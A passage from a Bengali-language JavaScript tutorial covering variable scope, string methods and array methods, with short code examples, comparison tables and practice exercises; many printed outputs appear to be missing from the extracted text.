কিন্তু outer scope inner scope-এর variable সরাসরি access করতে পারে না।
ধরো একটি e-commerce website:
let shopName = "Tech Shop"; function customer() { let customerName = "Ripon"; function order() { let product = "Laptop"; console.log(shopName); console.log(customerName); console.log(product); } order(); } customer();
এখানে:
order() সব outer scope access করতে পারে।
Real-world application-এ scope ব্যবহার হয়:
সব variable global না রেখে নির্দিষ্ট জায়গায় রাখা যায়।
let name = "A";
অন্য scope-এ আবার:
let name = "B";
থাকতে পারে।
বড় project-এ কোন variable কোথায় ব্যবহার করা যাবে তা পরিষ্কার থাকে।
Internal data বাইরে expose না করে রাখা যায়।
Modern JavaScript-এ সাধারণত:
const
প্রথম পছন্দ।
Value পরিবর্তন করতে হলে:
let
আর:
var
সাধারণত avoid করা হয় modern code-এ।
Example❌ পুরোনো style:
var username = "Ripon";
✅ Modern:
const username = "Ripon";
যদি value পরিবর্তন হয়:
let score = 0; score = 10;
| Concept | সহজ অর্থ |
|---|---|
| Scope | Variable কোথায় accessible |
| Global Scope | প্রায় পুরো script/module-এর top-level scope |
| Function Scope | Function-এর ভিতরের scope |
| Block Scope | { } block-এর scope |
| Scope Chain | এক scope থেকে outer scope-এ variable খোঁজা |
| Lexical Scope | Code কোথায় লেখা হয়েছে তার ভিত্তিতে scope |
| Shadowing | Inner variable outer variable-কে আড়াল করে |
| Hoisting | Execution-এর আগে declaration setup |
| TDZ | let/const declaration-এর আগের inaccessible period |
var | Function scoped |
let | Block scoped |
const | Block scoped + reassignment করা যায় না |
এই chapter থেকে অবশ্যই এগুলো ভালোভাবে জানতে হবে:
Output কী হবে?
let x = 10; function test() { let x = 20; console.log(x); } test(); console.log(x);
Output কী হবে?
var x = 10; if (true) { var x = 20; } console.log(x);
Output কী হবে?
let x = 10; if (true) { let x = 20; console.log(x); } console.log(x);
Output কী হবে?
console.log(a); var a = 100;
Output কী হবে?
console.log(a); let a = 100;
Output কী হবে?
hello(); function hello() { console.log("Hello JavaScript"); }
Output কী হবে?
var x = 10; function test() { console.log(x); var x = 20; } test();
এই code-এ error কেন হচ্ছে?
function test() { let name = "Ripon"; } test(); console.log(name);
পরের chapter হবে:
String তৈরি → indexing → length → methods → slicing → searching → replacing → splitting → joining → template literals → escape characters → Unicode → string immutability → practical projects.
JavaScript-এ String হলো text বা character-এর sequence। যেমন:
let name = "Shariar"; let university = "Daffodil International University"; let message = "Hello JavaScript!";
এগুলো সবই String।
সহজভাবে:
একটি website-এ:
এখানে Name, Email, Address-এর value—সবই String।
JavaScript-এ String সাধারণত তিনভাবে লেখা যায়:
let name = "Shariar";
let name = 'Shariar';
let name = `Shariar`;
তিনটিই valid।
let name1 = "Shariar"; let name2 = 'Shariar'; console.log(name1); console.log(name2);
কাজের দিক থেকে দুটোই প্রায় একই।
Backtick:
এটি বিশেষভাবে গুরুত্বপূর্ণ কারণ এর মাধ্যমে Template Literal ব্যবহার করা যায়।
let name = `Shariar`; console.log(name);
Output:
Template Literal আমরা পরে বিস্তারিত দেখব।
ধরো text-এর মধ্যে quotation mark লাগবে।
let message = 'He said "Hello"'; console.log(message);
অথবা:
let message = "It's a beautiful day"; console.log(message);
Output:
String-এর মধ্যে একই ধরনের quote ব্যবহার করতে হলে \ ব্যবহার করা যায়।
let message = "He said \"Hello\""; console.log(message);
এখানে:
মানে quote-টিকে String-এর শেষ হিসেবে না ধরে character হিসেবে ব্যবহার করো।
| Escape | অর্থ |
|---|---|
\" | Double quote |
\' | Single quote |
\\ | Backslash |
\n | New line |
\t | Tab |
\r | Carriage return |
\b | Backspace |
\f | Form feed |
\nlet message = "Hello\nJavaScript"; console.log(message);
Real-life example:
let address = "Dhaka\nBangladesh"; console.log(address);
Output:
\tconsole.log("Name:\tShariar");
Output:
String-এর character সংখ্যা জানতে:
.length
ব্যবহার করা হয়।
let name = "Shariar"; console.log(name.length);
কারণ:
let name = "Shariar Ahamed"; console.log(name.length);
Space-ও count হবে।
JavaScript-এ String-এর প্রতিটি character-এর একটি index থাকে।
Index শুরু হয়:
থেকে।
let name = "Ripon";
এটা:
[]let name = "Ripon"; console.log(name[0]); console.log(name[1]); console.log(name[4]);
let name = "JavaScript"; console.log(name[0]);
Output:
শেষ character বের করতে:
let name = "JavaScript"; console.log(name[name.length - 1]);
Output:
কারণ length:
শেষ index:
.at() Methodশেষ character আরও সহজে:
let name = "JavaScript"; console.log(name.at(-1));
Output:
at() negative index support করে।
console.log(name.at(-2));
Output:
charAt()let name = "Ripon"; console.log(name.charAt(0)); console.log(name.charAt(2));
Output:
[] বনাম charAt()let name = "Ripon"; console.log(name[10]); console.log(name.charAt(10));
Output:
charAt() invalid index-এ empty string ("") দেয়, আর [] সাধারণত undefined দেয়।
দুই বা তার বেশি String একসাথে যুক্ত করাকে Concatenation বলে।
let firstName = "Shariar"; let lastName = "Ripon"; let fullName = firstName + " " + lastName; console.log(fullName);
let age = 23; console.log("Age: " + age);
Output:
JavaScript এখানে number-কে String-এর সাথে concatenate করেছে।
+= দিয়ে String যোগlet message = "Hello"; message += " "; message += "JavaScript"; console.log(message);
Output:
Modern JavaScript-এ String তৈরি করার সবচেয়ে useful featureগুলোর একটি হলো:
Backtick ব্যবহার করতে হয়:
` `
let name = "Shariar"; let age = 23; let message = `My name is ${name} and I am ${age} years old.`; console.log(message);
${} কী?Template Literal-এর মধ্যে:
${variable}
ব্যবহার করে variable-এর value বসানো যায়।
let product = "Laptop"; let price = 75000; console.log(`Product: ${product}`); console.log(`Price: ${price} BDT`);
Output:
শুধু variable নয়, expression-ও দেওয়া যায়।
let a = 10; let b = 20; console.log(`Total = ${a + b}`);
Output:
function getName() { return "Shariar"; } console.log(`Hello ${getName()}`);
Output:
Normal quote-এ:
let message = "Hello JavaScript";
এভাবে সরাসরি লিখলে error হবে।
কিন্তু Template Literal:
let message = `Hello JavaScript World`; console.log(message);
Output:
toUpperCase()String-এর সব letter uppercase করতে:
let name = "shariar"; console.log(name.toUpperCase());
Output:
toLowerCase()let name = "SHARIAR"; console.log(name.toLowerCase());
Output:
User email:
let email = "USER@GMAIL.COM"; console.log(email.toLowerCase());
Output:
Login system-এ case normalization-এর মতো কাজে এটি useful হতে পারে।
trim()User input-এর শুরু বা শেষে extra space থাকলে:
let username = " Shariar "; console.log(username.trim());
Output:
এটি:
কে:
করে।
trimStart()শুধু শুরু থেকে whitespace remove:
let text = " Hello"; console.log(text.trimStart());
Output:
trimEnd()শুধু শেষ থেকে:
let text = "Hello "; console.log(text.trimEnd());
Output:
includes()কোনো String-এর মধ্যে নির্দিষ্ট text আছে কিনা check করতে:
let message = "I love JavaScript"; console.log(message.includes("JavaScript"));
Output:
না থাকলে:
console.log(message.includes("Python"));
Output:
let title = "JavaScript Complete Course"; let search = "JavaScript"; if (title.includes(search)) { console.log("Match found"); }
Output:
startsWith()String কোনো নির্দিষ্ট text দিয়ে শুরু হয়েছে কিনা:
let url = "https://example.com"; console.log(url.startsWith("https"));
Output:
endsWith()let file = "profile.jpg"; console.log(file.endsWith(".jpg"));
Output:
Real-life:
let file = "document.pdf"; if (file.endsWith(".pdf")) { console.log("PDF file"); }
indexOf()কোনো text কোথায় আছে তা বের করতে:
let text = "I love JavaScript"; console.log(text.indexOf("JavaScript"));
Output:
কারণ "JavaScript" শুরু হয়েছে index 7 থেকে।
indexOf() না পেলেlet text = "I love JavaScript"; console.log(text.indexOf("Python"));
Output:
অর্থাৎ:
lastIndexOf()একই text একাধিকবার থাকলে শেষ occurrence-এর index পাওয়া যায়।
let text = "JavaScript is great. JavaScript is powerful."; console.log(text.lastIndexOf("JavaScript"));
Output:
search()let text = "I love JavaScript"; console.log(text.search("JavaScript"));
Output:
search() পরে Regex-এর সাথে আরও useful হবে।
slice()String-এর একটি অংশ বের করতে:
slice(start, end)
let text = "JavaScript"; console.log(text.slice(0, 4));
Output:
মনে রাখবে:
end index include হয় না।slice() Examplelet text = "JavaScript"; console.log(text.slice(4, 10));
Output:
Index:
slice()let text = "JavaScript"; console.log(text.slice(-6));
Output:
শেষ ৬টি character।
substring()let text = "JavaScript"; console.log(text.substring(0, 4));
Output:
substring() negative index-কে 0 হিসেবে treat করে।
slice() vs substring()| Feature | slice() | substring() |
|---|---|---|
| Negative index | ✅ | ❌ |
| End excluded | ✅ | ✅ |
| সাধারণ ব্যবহার | বেশি | কম |
Modern code-এ অনেক ক্ষেত্রে slice() বেশি convenient।
substr() — পুরোনো Methodtext.substr(start, length)
এটি পুরোনো/deprecated API।
নতুন code-এ সাধারণত ব্যবহার না করে:
slice()
ব্যবহার করা ভালো।
replace()String-এর একটি অংশ replace করতে:
let text = "I love JavaScript"; let result = text.replace("JavaScript", "Python"); console.log(result);
Output:
replace() Original String পরিবর্তন করে নাlet text = "Hello World"; let result = text.replace("World", "JavaScript"); console.log(text); console.log(result);
Output:
কারণ String immutable।
এটি খুব গুরুত্বপূর্ণ।
String তৈরি হওয়ার পর তার character সরাসরি পরিবর্তন করা যায় না।
let name = "Ripon"; name[0] = "S"; console.log(name);
Output:
R → S হয়নি।
নতুন String তৈরি হয়।
let name = "Ripon"; name = "Shariar"; console.log(name);
এখানে পুরোনো String পরিবর্তন না হয়ে নতুন value assign হয়েছে।
replaceAll()সব occurrence replace করতে:
let text = "apple apple apple"; console.log(text.replaceAll("apple", "banana"));
Output:
concat()দুটি String যুক্ত করতে:
let first = "Hello"; let second = "World"; console.log(first.concat(" ", second));
Output:
তবে modern JavaScript-এ সাধারণত:
first + " " + second
অথবা template literal বেশি readable।
split()String-কে Array-তে ভাগ করতে:
let text = "HTML CSS JavaScript"; let result = text.split(" "); console.log(result);
Output:
split() with Commalet skills = "HTML,CSS,JavaScript,React"; console.log(skills.split(","));
Output:
এটি real-world data processing-এ খুব useful।
let skills = "HTML,CSS,JavaScript"; let arr = skills.split(","); console.log(arr); let result = arr.join(" | "); console.log(result);
Output:
repeat()একটি String নির্দিষ্ট সংখ্যকবার repeat করতে:
let text = "Hi "; console.log(text.repeat(3));
Output:
padStart()String-এর শুরুতে character যোগ করে নির্দিষ্ট length করা যায়।
let number = "5"; console.log(number.padStart(3, "0"));
Output:
padEnd()let number = "5"; console.log(number.padEnd(3, "0"));
Output:
let invoiceNumber = "25"; let formatted = invoiceNumber.padStart(5, "0"); console.log(formatted);
Output:
charCodeAt()Character-এর UTF-16 code unit value পাওয়া যায়।
let letter = "A"; console.log(letter.charCodeAt(0));
Output:
আর:
console.log("a".charCodeAt(0));
Output:
String.fromCharCode()Code value থেকে String character তৈরি করা যায়।
console.log(String.fromCharCode(65));
Output:
JavaScript String Unicode text handle করতে পারে।
let text = "বাংলাদেশ"; console.log(text);
Output:
আর:
let text = "Hello 👋"; console.log(text);
Output:
localeCompare()দুটি String compare করতে:
console.log("apple".localeCompare("banana"));
সাধারণত negative result পাওয়া যাবে, কারণ "apple" আগে।
console.log("banana".localeCompare("apple"));
সাধারণত positive result।
console.log("apple".localeCompare("apple"));
Output:
Sorting-এর সময় এটি useful।
console.log("hello" === "Hello");
Output:
কারণ:
দুটিকে একই case-এ convert করে compare করতে পারো:
let a = "Hello"; let b = "HELLO"; console.log(a.toLowerCase() === b.toLowerCase());
Output:
সাধারণভাবে:
let name = "Ripon";
এটি primitive String।
আর:
let name = new String("Ripon");
এটি String object।
সাধারণ application code-এ:
new String()
ব্যবহার না করাই ভালো।
Primitive String ব্যবহার করো:
let name = "Ripon";
typeof Stringlet name = "Ripon"; console.log(typeof name);
Output:
কিন্তু:
let name = new String("Ripon"); console.log(typeof name);
Output:
Number → String:
let age = 23; console.log(String(age));
Output:
অথবা:
console.log(age.toString());
Output:
Browser-এর form input সাধারণত String হিসেবে আসে।
let age = "23"; console.log(typeof age);
Output:
Number হিসেবে দরকার হলে:
let numericAge = Number(age); console.log(numericAge); console.log(typeof numericAge);
Output:
একটি String:
let text = " JavaScript is Awesome ";
এর উপর:
console.log(text.trim()); console.log(text.toUpperCase()); console.log(text.toLowerCase()); console.log(text.includes("JavaScript")); console.log(text.startsWith(" Java")); console.log(text.endsWith(" "));
এভাবে বিভিন্ন operation করা যায়।
ধরো user লিখেছে:
আমরা চাই:
Code:
let username = " SHARIAR AHAMED RIPON "; let formattedUsername = username .trim() .toLowerCase(); console.log(formattedUsername);
Output:
let email = " USER@GMAIL.COM "; email = email.trim().toLowerCase(); console.log(email);
Output:
let fileName = "profile.png"; if (fileName.endsWith(".png")) { console.log("PNG image detected"); }
Output:
let product = "HP Laptop Core i5"; let search = "laptop"; if (product.toLowerCase().includes(search.toLowerCase())) { console.log("Product found"); }
Output:
এটি e-commerce search functionality-এর basic concept।
let name = "Shariar"; let skill = "Full Stack Development"; let experience = 1; let message = ` Hello, I am ${name}. I am learning ${skill}. Experience: ${experience} year. `; console.log(message);
Output:
| Method | কাজ |
|---|---|
.length | String-এর length |
[index] | Character access |
.at() | Character access |
.charAt() | Character access |
.toUpperCase() | Uppercase |
.toLowerCase() | Lowercase |
.trim() | দুই পাশের whitespace remove |
.trimStart() | শুরু থেকে whitespace remove |
.trimEnd() | শেষ থেকে whitespace remove |
.includes() | text আছে কিনা |
.startsWith() | শুরু check |
.endsWith() | শেষ check |
.indexOf() | প্রথম occurrence-এর index |
.lastIndexOf() | শেষ occurrence-এর index |
.search() | Search |
.slice() | অংশ বের করা |
.substring() | অংশ বের করা |
.replace() | একটি occurrence replace |
.replaceAll() | সব occurrence replace |
.concat() | String যোগ |
.split() | String → Array |
.repeat() | Repeat |
.padStart() | শুরুতে padding |
.padEnd() | শেষে padding |
.charCodeAt() | Character code |
String.fromCharCode() | Code → Character |
.localeCompare() | String comparison |
এই flow-টা মনে রাখো:
let text = "Hello"; text[0] = "Y"; console.log(text);
Output:
String-এর character সরাসরি পরিবর্তন করা যায় না।
slice() end index include করে নাlet text = "JavaScript"; console.log(text.slice(0, 4));
Output:
includes() Boolean দেয়"JavaScript".includes("Script");
Result:
indexOf() না পেলে -1"Hello".indexOf("x");
Result:
split() String-কে Array বানায়"HTML,CSS,JS".split(",");
Result:
["HTML", "CSS", "JS"]
Output কী হবে?
let name = "JavaScript"; console.log(name.length); console.log(name[0]); console.log(name[name.length - 1]);
Output কী হবে?
let text = "Hello JavaScript"; console.log(text.toUpperCase()); console.log(text.toLowerCase());
User input:
let username = " SHARIAR ";
এমন code লেখো যাতে output হয়:
Check করো:
let email = "user@gmail.com";
Email-এর মধ্যে @ আছে কিনা।
Check করো:
let file = "profile.jpg";
এটি .jpg file কিনা।
এই String থেকে:
let text = "JavaScript";
শুধু:
বের করো।
let skills = "HTML,CSS,JavaScript,React";
এটিকে Array বানাও।
Expected:
["HTML", "CSS", "JavaScript", "React"]
নিচের output তৈরি করো:
Template Literal ব্যবহার করে।
একটি product data:
let productName = " HP LAPTOP "; let price = 75000; let category = "electronics";
Output:
এখানে ব্যবহার করবে:
trim()toUpperCase()এই chapter-এ আমরা শিখলাম:
length [] at() toUpperCase() toLowerCase() trim() includes() startsWith() endsWith() indexOf() slice() replace() split()
পরবর্তী অধ্যায় হবে 📘 Chapter 9 — Arrays, যেখানে আমরা Array তৈরি, indexing, push(), pop(), shift(), unshift(), slice(), splice(), find(), filter(), map(), reduce(), sort(), forEach(), nested arrays, array destructuring এবং real-life projectsসহ বিস্তারিত শিখব।
JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ data structures-এর একটি হলো Array। এতদিন আমরা একটি variable-এ একটি value রাখতাম:
let name = "Shariar";
কিন্তু ধরো ১০০ জন student-এর নাম রাখতে হবে। আলাদা ১০০টা variable বানানো practical নয়। তখন আমরা Array ব্যবহার করব:
let students = [ "Shariar", "Rahim", "Karim", "Sakib" ];
একটি shopping cart:
JavaScript:
let cart = [ "Laptop", "Mouse", "Keyboard", "Headphone" ];
সবচেয়ে common syntax:
let fruits = ["Apple", "Banana", "Mango"];
["Apple", "Banana", "Mango"]
আরেকভাবে:
let fruits = new Array("Apple", "Banana", "Mango");
তবে modern JavaScript-এ সাধারণত:
[]
ব্যবহার করা হয়।
Array-এর index শুরু হয়:
0
থেকে।
let fruits = ["Apple", "Banana", "Mango"];
এটি:
let fruits = ["Apple", "Banana", "Mango"]; console.log(fruits[0]); console.log(fruits[1]); console.log(fruits[2]);
Apple Banana Mango
let skills = ["HTML", "CSS", "JavaScript"]; console.log(skills[0]);
HTML
let skills = ["HTML", "CSS", "JavaScript"]; console.log(skills[skills.length - 1]);
JavaScript
অথবা modern JavaScript:
console.log(skills.at(-1));
JavaScript
let fruits = ["Apple", "Banana", "Mango"]; console.log(fruits.length);
3
length হলো মোট element সংখ্যা।
JavaScript Array-তে একই Array-তে বিভিন্ন type রাখা সম্ভব।
let data = [ "Shariar", 23, true, null ]; console.log(data);
["Shariar", 23, true, null]
এমনকি object/function-ও রাখা যায়।
let data = [ "Ripon", 23, { city: "Dhaka" }, function () { console.log("Hello"); } ];
তবে real-world application-এ একই ধরনের data রাখা সাধারণত বেশি পরিষ্কার।
Array-এর element directly পরিবর্তন করা যায়।
let fruits = ["Apple", "Banana", "Mango"]; fruits[1] = "Orange"; console.log(fruits);
["Apple", "Orange", "Mango"]
এখানে:
হয়ে গেছে।
শেষে element যোগ করতে:
push()
let fruits = ["Apple", "Banana"]; fruits.push("Mango"); console.log(fruits);
["Apple", "Banana", "Mango"]
push() একাধিক Elementlet fruits = ["Apple"]; fruits.push("Banana", "Mango", "Orange"); console.log(fruits);
["Apple", "Banana", "Mango", "Orange"]
push() কী Return করে?let fruits = ["Apple", "Banana"]; let result = fruits.push("Mango"); console.log(result);
3
push() নতুন Array length return করে।
pop()let fruits = ["Apple", "Banana", "Mango"]; let removed = fruits.pop(); console.log(removed); console.log(fruits);
Mango ["Apple", "Banana"]
pop() কী Return করে?pop() যে element remove করে, সেটিই return করে।
let numbers = [10, 20, 30]; let removed = numbers.pop(); console.log(removed);
30
unshift()Array-এর শুরুতে element যোগ করতে:
let fruits = ["Banana", "Mango"]; fruits.unshift("Apple"); console.log(fruits);
["Apple", "Banana", "Mango"]
shift()let fruits = ["Apple", "Banana", "Mango"]; let removed = fruits.shift(); console.log(removed); console.log(fruits);
Apple ["Banana", "Mango"]
| Method | কাজ |
|---|---|
push() | শেষে যোগ |
pop() | শেষ থেকে remove |
unshift() | শুরুতে যোগ |
shift() | শুরু থেকে remove |
Visual:
forlet fruits = ["Apple", "Banana", "Mango"]; for (let i = 0; i < fruits.length; i++) { console.log(fruits[i]); }
Apple Banana Mango
for...ofArray-এর value সরাসরি পাওয়ার জন্য:
let fruits = ["Apple", "Banana", "Mango"]; for (let fruit of fruits) { console.log(fruit); }
Apple Banana Mango
Beginner-এর জন্য এটি খুব readable।
for...inArray-এর index পাওয়ার জন্য:
let fruits = ["Apple", "Banana", "Mango"]; for (let index in fruits) { console.log(index); }
0 1 2
Array-এর value দরকার হলে সাধারণত for...of বেশি appropriate।
for...of vs for...in| Method | কী পাওয়া যায় |
|---|---|
for...of | Value |
for...in | Key/Index |
for (let value of fruits) { console.log(value); }
for (let index in fruits) { console.log(index); }
includes()Array-এর মধ্যে কোনো value আছে কিনা:
let skills = ["HTML", "CSS", "JavaScript"]; console.log(skills.includes("JavaScript"));
true
না থাকলে:
console.log(skills.includes("Python"));
false
indexOf()কোন index-এ value আছে:
let skills = ["HTML", "CSS", "JavaScript"]; console.log(skills.indexOf("CSS"));
1
না থাকলে:
console.log(skills.indexOf("Python"));
-1
lastIndexOf()একই value একাধিকবার থাকলে শেষ occurrence:
let numbers = [10, 20, 10, 30, 10]; console.log(numbers.lastIndexOf(10));
4
slice()Array-এর একটি অংশ copy করতে:
let fruits = [ "Apple", "Banana", "Mango", "Orange" ]; let result = fruits.slice(1, 3); console.log(result);
["Banana", "Mango"]
end index include হয় না।slice() Original Array পরিবর্তন করে নাlet fruits = ["Apple", "Banana", "Mango"]; let result = fruits.slice(0, 2); console.log(result); console.log(fruits);
["Apple", "Banana"] ["Apple", "Banana", "Mango"]
slice()let fruits = [ "Apple", "Banana", "Mango", "Orange" ]; console.log(fruits.slice(-2));
["Mango", "Orange"]
splice() — খুব গুরুত্বপূর্ণ 🔥splice() Array-এর মধ্যে:
সবই করতে পারে।
Syntax:
array.splice(start, deleteCount, item1, item2, ...);
splice() দিয়ে Removelet fruits = ["Apple", "Banana", "Mango"]; fruits.splice(1, 1); console.log(fruits);
["Apple", "Mango"]
এখানে:
start = 1 deleteCount = 1
তাই Banana remove হয়েছে।
splice() দিয়ে Addlet fruits = ["Apple", "Mango"]; fruits.splice(1, 0, "Banana"); console.log(fruits);
["Apple", "Banana", "Mango"]
এখানে:
splice() দিয়ে Replacelet fruits = ["Apple", "Banana", "Mango"]; fruits.splice(1, 1, "Orange"); console.log(fruits);
["Apple", "Orange", "Mango"]
splice() কী Return করে?যে elements remove হয়েছে, সেগুলো একটি Array হিসেবে return করে।
let fruits = ["Apple", "Banana", "Mango"]; let removed = fruits.splice(1, 1); console.log(removed);
["Banana"]
slice() vs splice()এটা Interview-এ খুব common।
slice() | splice() |
|---|---|
| Copy/Extract | Add/Remove/Replace |
| Original Array পরিবর্তন করে না | Original Array পরিবর্তন করে |
| নতুন Array return করে | Removed elements-এর Array return করে |
slice(start,end) | splice(start,deleteCount,...) |
join()Array → String করতে:
let skills = ["HTML", "CSS", "JavaScript"]; console.log(skills.join(", "));
HTML, CSS, JavaScript
join() Real-life Examplelet tags = ["web", "javascript", "frontend"]; let result = tags.join(" #"); console.log("#" + result);
#web #javascript #frontend
reverse()Array-এর order উল্টে দেয়।
let numbers = [1, 2, 3, 4]; numbers.reverse(); console.log(numbers);
[4, 3, 2, 1]
reverse() original Array পরিবর্তন করে।sort()Array sort করতে:
let fruits = ["Mango", "Apple", "Banana"]; fruits.sort(); console.log(fruits);
["Apple", "Banana", "Mango"]
এই জায়গায় beginner-রা অনেক ভুল করে।
let numbers = [10, 2, 30, 5]; numbers.sort(); console.log(numbers);
Output হতে পারে:
[10, 2, 30, 5]
কারণ default sort() values-কে String হিসেবে compare করে।
let numbers = [10, 2, 30, 5]; numbers.sort((a, b) => a - b); console.log(numbers);
[2, 5, 10, 30]
let numbers = [10, 2, 30, 5]; numbers.sort((a, b) => b - a); console.log(numbers);
[30, 10, 5, 2]
forEach()Array-এর প্রতিটি element-এর উপর function চালাতে:
let fruits = ["Apple", "Banana", "Mango"]; fruits.forEach(function (fruit) { console.log(fruit); });
Apple Banana Mango
forEach() with Arrow FunctionModern style:
let fruits = ["Apple", "Banana", "Mango"]; fruits.forEach(fruit => { console.log(fruit); });
forEach() Indexlet fruits = ["Apple", "Banana", "Mango"]; fruits.forEach((fruit, index) => { console.log(index, fruit); });
0 Apple 1 Banana 2 Mango
map() 🔥map() একটি Array-এর প্রতিটি element transform করে নতুন Array তৈরি করে।
let numbers = [1, 2, 3, 4]; let doubled = numbers.map(number => number * 2); console.log(doubled);
[2, 4, 6, 8]
map() Real-life ExampleProduct price:
let prices = [100, 200, 300]; let discountedPrices = prices.map(price => price * 0.9); console.log(discountedPrices);
[90, 180, 270]
forEach() vs map()forEach() | map() |
|---|---|
| প্রতিটি element-এর জন্য কাজ করে | প্রতিটি element transform করে |
| নতুন Array return করে না | নতুন Array return করে |
| Side effects-এর জন্য useful | Data transformation-এর জন্য useful |
filter() 🔥কোনো condition অনুযায়ী elements বেছে নিতে:
let numbers = [1, 2, 3, 4, 5, 6]; let evenNumbers = numbers.filter(number => number % 2 === 0); console.log(evenNumbers);
[2, 4, 6]
filter() Real-life Examplelet products = [ { name: "Laptop", price: 70000 }, { name: "Mouse", price: 1000 }, { name: "Keyboard", price: 3000 } ]; let expensive = products.filter(product => product.price > 5000); console.log(expensive);
Laptop
বাস্তবে object নিয়ে কাজ করলে পুরো object-ই থাকবে filtered Array-তে।
find()Condition অনুযায়ী প্রথম matching element বের করতে:
let numbers = [10, 20, 30, 40]; let result = numbers.find(number => number > 20); console.log(result);
30
কারণ প্রথম 20-এর পর 30 condition satisfy করেছে।
find() না পেলেlet numbers = [10, 20, 30]; let result = numbers.find(number => number > 100); console.log(result);
undefined
findIndex()Matching element-এর index:
let numbers = [10, 20, 30, 40]; let index = numbers.findIndex(number => number > 20); console.log(index);
2
some()কমপক্ষে একটি element condition satisfy করে কিনা:
let numbers = [1, 3, 5, 8]; console.log(numbers.some(number => number % 2 === 0));
true
কারণ 8 even।
every()সবগুলো element condition satisfy করে কিনা:
let numbers = [2, 4, 6, 8]; console.log(numbers.every(number => number % 2 === 0));
true
কিন্তু:
let numbers = [2, 4, 5, 8]; console.log(numbers.every(number => number % 2 === 0));
false
reduce() 🔥🔥reduce() Array-এর অনেকগুলো value থেকে একটি final result তৈরি করতে ব্যবহৃত হয়।
let numbers = [10, 20, 30, 40]; let total = numbers.reduce((sum, number) => { return sum + number; }, 0); console.log(total);
100
reduce() কীভাবে কাজ করে?Initial = 0 0 + 10 = 10 10 + 20 = 30 30 + 30 = 60 60 + 40 = 100
শেষে:
100
reduce() Real-life — Shopping Cartlet prices = [1000, 2000, 3000]; let total = prices.reduce((sum, price) => { return sum + price; }, 0); console.log(total);
6000
এটি shopping cart-এর total price calculation-এর basic idea।
reduce() দিয়ে Maximumlet numbers = [10, 50, 20, 80, 30]; let max = numbers.reduce((highest, number) => { return number > highest ? number : highest; }, numbers[0]); console.log(max);
80
Array থেকে সরাসরি variable তৈরি করা যায়।
let colors = ["Red", "Green", "Blue"]; let [first, second, third] = colors; console.log(first); console.log(second); console.log(third);
Red Green Blue
let colors = ["Red", "Green", "Blue"]; let [first, , third] = colors; console.log(first); console.log(third);
Red Blue
let colors = ["Red"]; let [first, second = "Blue"] = colors; console.log(first); console.log(second);
Red Blue
let numbers = [1, 2, 3, 4, 5]; let [first, second, ...remaining] = numbers; console.log(first); console.log(second); console.log(remaining);
1 2 [3, 4, 5]
Array copy করতে:
let fruits = ["Apple", "Banana"]; let newFruits = [...fruits]; console.log(newFruits);
["Apple", "Banana"]
let frontend = ["HTML", "CSS"]; let backend = ["Node.js", "Express"]; let skills = [...frontend, ...backend]; console.log(skills);
["HTML", "CSS", "Node.js", "Express"]
let original = [1, 2, 3]; let copy = [...original]; copy.push(4); console.log(original); console.log(copy);
[1, 2, 3] [1, 2, 3, 4]
একটি Array-এর ভিতরে আরেকটি Array থাকতে পারে।
let matrix = [ [1, 2, 3], [4, 5, 6], [7, 8, 9] ]; console.log(matrix);
let matrix = [ [1, 2, 3], [4, 5, 6] ]; console.log(matrix[0][1]);
2
কারণ:
একটি classroom-এর marks:
let marks = [ [80, 75, 90], [70, 85, 88], [92, 89, 95] ];
এখানে প্রতিটি inner Array একজন student-এর marks হতে পারে।
Real-world JavaScript application-এ এটি খুব common:
let students = [ { name: "Shariar", age: 23 }, { name: "Rahim", age: 22 } ]; console.log(students[0].name);
Shariar
Array.isArray()কোনো value Array কিনা check করতে:
let skills = ["HTML", "CSS"]; console.log(Array.isArray(skills));
true
আর:
console.log(Array.isArray("Hello"));
false
| Array | Object |
|---|---|
| Ordered collection | Key-value data |
| Index ব্যবহার করে | Key ব্যবহার করে |
users[0] | user.name |
| List-এর জন্য useful | Entity/data model-এর জন্য useful |
Example:
let skills = ["HTML", "CSS", "JS"];
Object:
let user = { name: "Shariar", age: 23 };
let items = []; console.log(items.length);
0
তারপর:
items.push("Laptop");
console.log(items);
["Laptop"]
let numbers = []; numbers[3] = 100; console.log(numbers);
এতে মাঝখানে empty slots তৈরি হতে পারে।
[empty, empty, empty, 100]
এভাবে Array তৈরি করা সাধারণত avoid করা ভালো।
let a = [1, 2, 3]; let b = a; b.push(4); console.log(a);
[1, 2, 3, 4]
কেন?
কারণ:
a এবং b একই Array object-কে reference করছে।
let a = [1, 2, 3]; let b = [...a]; b.push(4); console.log(a); console.log(b);
[1, 2, 3] [1, 2, 3, 4]
concat()দুটি Array combine:
let a = [1, 2]; let b = [3, 4]; let result = a.concat(b); console.log(result);
[1, 2, 3, 4]
Spread দিয়েও:
let result = [...a, ...b];
flat()Nested Array flatten করতে:
let numbers = [1, 2, [3, 4], [5, 6]]; console.log(numbers.flat());
[1, 2, 3, 4, 5, 6]
flat()let numbers = [ 1, [2, [3, [4]]] ]; console.log(numbers.flat(Infinity));
[1, 2, 3, 4]
Array.from()Array-like বা iterable data থেকে Array তৈরি করতে:
let text = "Hello"; let chars = Array.from(text); console.log(chars);
["H", "e", "l", "l", "o"]
Array.of()Values দিয়ে Array তৈরি:
let numbers = Array.of(10, 20, 30); console.log(numbers);
[10, 20, 30]
Array.from() দিয়ে Generatelet numbers = Array.from( { length: 5 }, (_, index) => index + 1 ); console.log(numbers);
[1, 2, 3, 4, 5]
fill()Array-এর নির্দিষ্ট জায়গায় একই value বসাতে:
let numbers = [1, 2, 3, 4, 5]; numbers.fill(0); console.log(numbers);
[0, 0, 0, 0, 0]
fill() Partiallet numbers = [1, 2, 3, 4, 5]; numbers.fill(0, 1, 3); console.log(numbers);
[1, 0, 0, 4, 5]
copyWithin()Array-এর ভিতরের কিছু element অন্য জায়গায় copy করতে:
let numbers = [1, 2, 3, 4, 5]; numbers.copyWithin(0, 3); console.log(numbers);
[4, 5, 3, 4, 5]
এটি তুলনামূলকভাবে কম ব্যবহৃত method, কিন্তু JavaScript Array API-এর অংশ হিসেবে জানা ভালো।
flatMap()map() + flat() একসাথে করার মতো।
let numbers = [1, 2, 3]; let result = numbers.flatMap(number => [number, number * 2]); console.log(result);
[1, 2, 2, 4, 3, 6]
entries()Index এবং value দুটো একসাথে:
let fruits = ["Apple", "Banana", "Mango"]; for (let [index, fruit] of fruits.entries()) { console.log(index, fruit); }
0 Apple 1 Banana 2 Mango
keys()Index পাওয়া যায়:
let fruits = ["Apple", "Banana", "Mango"]; for (let key of fruits.keys()) { console.log(key); }
0 1 2
values()Values:
